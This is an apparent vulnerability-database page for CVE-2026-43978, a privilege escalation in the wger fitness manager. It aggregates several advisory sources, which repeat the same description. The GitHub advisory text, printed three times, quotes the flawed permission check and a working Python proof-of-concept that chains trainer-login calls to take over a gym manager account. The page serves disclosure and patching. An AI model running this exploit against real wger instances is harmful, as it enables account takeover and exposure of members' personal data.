CVE-2026-43978
wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.1
wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.
- Record
CVE-2026-43978- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
EUVDEUVD-2026-45066
8.1
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.
- Record
EUVD-2026-45066- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9qpr-vc49-hqg2
8.1
wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager
Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
<img width="728" height="628" alt="image"…
- Record
GHSA-9qpr-vc49-hqg2- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-06
NVD
8.1
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.
- Record
CVE-2026-43978- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
OSV
8.1
wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers
wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.
- Record
CVE-2026-43978- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
OSVGHSA-9qpr-vc49-hqg2
8.1
wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager
Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
<img width="728" height="628" alt="image"…
- Record
GHSA-9qpr-vc49-hqg2- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-06
OSVPYSEC-2026-3420
8.1
wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager
Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
<img width="728" height="628" alt="image"…
- Record
PYSEC-2026-3420- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| references | OSV | |
| facts, references | GitHub Advisories | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-43978 is a high vulnerability (CVSS 8.1) in Wger-project Wger, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 18th percentile. No source names a fixed version.
References
github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2
nvd.nist.gov/vuln/detail/CVE-2026-43978
github.com/wger-project/wger/commit/19c97822492f9914ccfcebeeda319be4e7562790
github.com/advisories/GHSA-9qpr-vc49-hqg2
github.com/pypa/advisory-database/tree/main/vulns/wger/PYSEC-2026-3420.yaml
github.com/wger-project/wger
pypi.org/project/wger
github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43978.json
Left out here: the rest of 3 source descriptions. The JSON record has them.